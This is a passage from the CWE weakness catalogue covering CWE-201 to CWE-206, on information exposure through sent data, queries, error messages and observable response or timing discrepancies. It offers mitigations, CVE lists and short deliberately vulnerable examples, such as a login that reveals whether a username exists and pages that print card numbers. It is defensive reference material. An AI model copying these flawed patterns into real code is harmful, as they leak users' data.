The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Example 4:

This code stores location information about the current user:

Example Language: Java *(bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setMessage("Sorry, this application has experienced an error.");
    AlertDialog alert = builder.create();
    alert.show();
```

```
    Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Example 5:

The following is an actual MySQL error statement:

Example Language: SQL *(result)*

```
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4
```

The error clearly exposes the database credentials.

Example 6:

This code displays some information on a web page.

Example Language: JSP *(bad)*

```
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>
```

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

Example 7:

The following program changes its behavior based on a debug flag.

Example Language: JSP *(bad)*

```
<% if (Boolean.getBoolean("debugEnabled")) {
    %>
    User account number: <%= acctNo %>
    <%
    } %>
```

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

Example 8:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

Example Language: XML *(bad)*

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Example Language: Java *(bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

Observed Examples

Reference	Description
CVE-2001-1483	Enumeration of valid usernames based on inconsistent responses *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1483*
CVE-2001-1528	Account number enumeration via inconsistent responses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1528*
CVE-2004-2150	User enumeration via discrepancies in error messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2150*
CVE-2005-1205	Telnet protocol allows servers to obtain sensitive environment information from clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1205*
CVE-2002-1725	Script calls phpinfo(), revealing system configuration to web user *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1725*
CVE-2002-0515	Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0515*
CVE-2004-0778	Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0778*
CVE-2000-1117	Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1117*
CVE-2003-0190	Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0190*
CVE-2008-2049	POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2049*
CVE-2007-5172	Program reveals password in error message if attacker can trigger certain database errors. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5172*
CVE-2008-4638	Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638*
CVE-2007-1409	Direct request to library file in web application triggers pathname leak in error message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1409*
CVE-2005-0603	Malformed regexp syntax leads to information exposure in error message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603*
CVE-2004-2268	Password exposed in debug information. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2268*
CVE-2003-1078	FTP client with debug option enabled shows password to the screen. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1078*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	629	1872
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Information Leak (information disclosure)
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
WASC	13		Information Leakage

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values
22	Exploiting Trust in Client
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
79	Using Slashes in Alternate Encoding
116	Excavation
169	Footprinting
224	Fingerprinting
285	ICMP Echo Request Ping
287	TCP SYN Scan
290	Enumerate Mail Exchange (MX) Records
291	DNS Zone Transfers
292	Host Discovery
293	Traceroute Route Enumeration
294	ICMP Address Mask Request
295	Timestamp Request
296	ICMP Information Request
297	TCP ACK Ping
298	UDP Ping
299	TCP SYN Ping
300	Port Scanning
301	TCP Connect Scan
302	TCP FIN Scan
303	TCP Xmas Scan
304	TCP Null Scan
305	TCP ACK Scan
306	TCP Window Scan
307	TCP RPC Scan
308	UDP Scan
309	Network Topology Mapping

CAPEC-ID	Attack Pattern Name
310	Scanning for Vulnerable Software
312	Active OS Fingerprinting
313	Passive OS Fingerprinting
317	IP ID Sequencing Probe
318	IP 'ID' Echoed Byte-Order Probe
319	IP (DF) 'Don't Fragment Bit' Echoing Probe
320	TCP Timestamp Probe
321	TCP Sequence Number Probe
322	TCP (ISN) Greatest Common Divisor Probe
323	TCP (ISN) Counter Rate Probe
324	TCP (ISN) Sequence Predictability Probe
325	TCP Congestion Control Flag (ECN) Probe
326	TCP Initial Window Size Probe
327	TCP Options Probe
328	TCP 'RST' Flag Checksum Probe
329	ICMP Error Message Quoting Probe
330	ICMP Error Message Echoing Integrity Probe
472	Browser Fingerprinting
497	File Discovery
573	Process Footprinting
574	Services Footprinting
575	Account Footprinting
576	Group Permission Footprinting
577	Owner Footprinting
616	Establish Rogue Location
643	Identify Shared Files/Directories on System
646	Peripheral Footprinting
651	Eavesdropping

References

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/ >.

CWE-201: Exposure of Sensitive Information Through Sent Data

Weakness ID : 201 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code transmits data to another actor, but the data contains sensitive information that should not be accessible to the actor that is receiving the data.

Extended Description

Sensitive information could include data that is sensitive in and of itself (such as credentials or private messages), or otherwise useful in the further exploitation of the system (such as internal file system structure).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
ParentOf	V	598	Use of GET Request Method With Sensitive Query Strings	1191
CanAlsoBe	V	202	Exposure of Sensitive Information Through Data Queries	476
CanAlsoBe	B	209	Generation of Error Message Containing Sensitive Information	490
CanFollow	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	500
CanFollow	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	517

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	1970

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Memory Read Application Data *Sensitive data may be exposed to attackers.*	

Potential Mitigations

Phase: Requirements

Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.

Phase: Implementation

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

Phase: System Configuration

Setup default error messages so that unexpected errors do not disclose sensitive information.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Demonstrative Examples

Example 1:

The following is an actual MySQL error statement:

Example Language: SQL *(result)*

```
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4
```

The error clearly exposes the database credentials.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Accidental leaking of sensitive information through sent data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
12	Choosing Message Identifier
217	Exploiting Incorrectly Configured SSL
612	WiFi MAC Address Tracking
613	WiFi SSID Tracking
618	Cellular Broadcast Message Request
619	Signal Strength Tracking
621	Analysis of Packet Timing and Sizes
622	Electromagnetic Side-Channel Attack
623	Compromising Emanations Attack

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-202: Exposure of Sensitive Information Through Data Queries

Weakness ID : 202 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

When trying to keep information confidential, an attacker can often infer some of the information by using statistics.

Extended Description

In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1230	Exposure of Sensitive Information Through Metadata	1746

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data *Sensitive information may possibly be leaked through data queries accidentally.*	

Potential Mitigations

Phase: Architecture and Design

This is a complex topic. See the book Translucent Databases for a good discussion of best practices.

Demonstrative Examples

Example 1:

See the book Translucent Databases for examples.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	967	SFP Secondary Cluster: State Disclosure	888	1943

Notes

Maintenance

The relationship between CWE-202 and CWE-612 needs to be investigated more closely, as they may be different descriptions of the same kind of problem. CWE-202 is also being considered for deprecation, as it is not clearly described and may have been misunderstood by CWE users. It could be argued that this issue is better covered by CAPEC; an attacker can utilize their data-query privileges to perform this kind of operation, and if the attacker should not be allowed to perform the operation - or if the sensitive data should not have been made accessible at all - then that is more appropriately classified as a separate CWE related to authorization (see the parent, CWE-1230).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Accidental leaking of sensitive information through data queries

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-203: Observable Discrepancy

Weakness ID : 203 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Extended Description

Discrepancies can take many forms and include things like responses, timing, control flow, or general behavior. These discrepancies can reveal information about the product's operation or internal state to an unauthorized actor. In some cases, discrepancies can be used by attackers to form a side channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
ParentOf	B	204	Observable Response Discrepancy	482
ParentOf	B	205	Observable Behavioral Discrepancy	485
ParentOf	B	208	Observable Timing Discrepancy	488

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Alternate Terms

Side Channel Attack : Observable Discrepancies are at the root of class of attacks known as side channel attacks.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism *An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.*	

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Crypto primitives being vulnerable to side-channel-attacks could render the supposedly encrypted data unencrypted plaintext in the worst case. This would compromise any security property.*	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Demonstrative Examples

Example 1:

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Example Language: Perl *(bad)*

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    }
    else
    {
        print "Login Failed - incorrect password";
    }
}
else
{
    print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker

to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

Example Language: *(result)*

"Login Failed - incorrect username or password"

Example 2:

Non-uniform processing time causes timing channel.

Example Language: *(bad)*

Suppose a hardware IP for implementing an encryption routine works fine per se, but the time taken to output the result of the encryption routine depends on a certain relationship between the input plaintext and the key (e.g., suppose, if the plaintext is similar to the key, it would run very fast).

In the example above, an attacker can vary the inputs and, depending on the seen differences between processing times (different plaintexts take different time), can infer certain information about the key.

Example Language: *(good)*

If the actual processing time was different for different plaintexts, artificial delays can be introduced to ensured all plaintexts take equal time to execute, even though the timing was internally different.

Observed Examples

Reference	Description
CVE-2002-2094	This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2094*
CVE-2001-1483	Enumeration of valid usernames based on inconsistent responses *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1483*
CVE-2001-1528	Account number enumeration via inconsistent responses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1528*
CVE-2004-2150	User enumeration via discrepancies in error messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2150*
CVE-2005-1650	User enumeration via discrepancies in error messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1650*
CVE-2004-0294	Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0294*
CVE-2004-0243	Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0243*
CVE-2002-0514	Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0514*
CVE-2002-0515	Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0515*

Reference	Description
CVE-2002-0208	Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0208*
CVE-2004-2252	Behavioral infoleak by responding to SYN-FIN packets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2252*
CVE-2001-1387	Product may generate different responses than specified by the administrator, possibly leading to an information leak. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1387*
CVE-2004-0778	Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0778*
CVE-2004-1428	FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1428*
CVE-2003-0078	SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0078*
CVE-2000-1117	Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1117*
CVE-2003-0637	Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0637*
CVE-2003-0190	Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0190*
CVE-2004-1602	FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1602*
CVE-2005-0918	Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0918*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	629	1872
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	967	SFP Secondary Cluster: State Disclosure	888	1943
MemberOf	C	1205	Security Primitives and Cryptography Issues	1194	2011

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Discrepancy Information Leaks
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

CWE-204: Observable Response Discrepancy

Weakness ID : 204 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.

Extended Description

This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	203	Observable Discrepancy	478

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Demonstrative Examples

Example 1:

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Example Language: Perl *(bad)*

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    }
    else
    {
        print "Login Failed - incorrect password";
    }
}
else
{
    print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

Example Language: *(result)*

```
"Login Failed - incorrect username or password"
```

Observed Examples

Reference	Description
CVE-2002-2094	This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2094*
CVE-2001-1483	Enumeration of valid usernames based on inconsistent responses *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1483*
CVE-2001-1528	Account number enumeration via inconsistent responses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1528*
CVE-2004-2150	User enumeration via discrepancies in error messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2150*
CVE-2005-1650	User enumeration via discrepancies in error messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1650*
CVE-2004-0294	Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0294*
CVE-2004-0243	Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0243*
CVE-2002-0514	Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0514*
CVE-2002-0515	Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0515*
CVE-2001-1387	Product may generate different responses than specified by the administrator, possibly leading to an information leak. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1387*
CVE-2004-0778	Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0778*
CVE-2004-1428	FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1428*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	967	SFP Secondary Cluster: State Disclosure	888	1943

Notes

Relationship

can overlap errors related to escalated privileges

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Response discrepancy infoleak

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-205: Observable Behavioral Discrepancy

Weakness ID : 205 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's behaviors indicate important differences that may be observed by unauthorized actors in a way that reveals (1) its internal state or decision process, or (2) differences from other products with equivalent functionality.

Extended Description

Ideally, a product should provide as little information about its internal operations as possible. Otherwise, attackers could use knowledge of these internal operations to simplify or optimize their attack. In some cases, behavioral discrepancies can be used by attackers to form a side channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	203	Observable Discrepancy	478
ParentOf	V	206	Observable Internal Behavioral Discrepancy	486
ParentOf	V	207	Observable Behavioral Discrepancy With Equivalent Products	487
CanPrecede	G	514	Covert Channel	1086

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-2002-0208	Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0208*
CVE-2004-2252	Behavioral infoleak by responding to SYN-FIN packets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2252*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	967	SFP Secondary Cluster: State Disclosure	888	1943

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Behavioral Discrepancy Infoleak
WASC	45		Fingerprinting

CWE-206: Observable Internal Behavioral Discrepancy

Weakness ID : 206 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The product performs multiple behaviors that are combined to produce a single result, but the individual behaviors are observable separately in a way that allows attackers to reveal internal state or internal decision points.

Extended Description

Ideally, a product should provide as little information as possible to an attacker. Any hints that the attacker may be making progress can then be used to simplify or optimize the attack. For example, in a login procedure that requires a username and password, ultimately there is only one decision: success or failure. However, internally, two separate actions are performed: determining if the username exists, and checking if the password is correct. If the product behaves differently based on whether the username exists or not, then the attacker only needs to concentrate on the password.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	205	Observable Behavioral Discrepancy	485

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

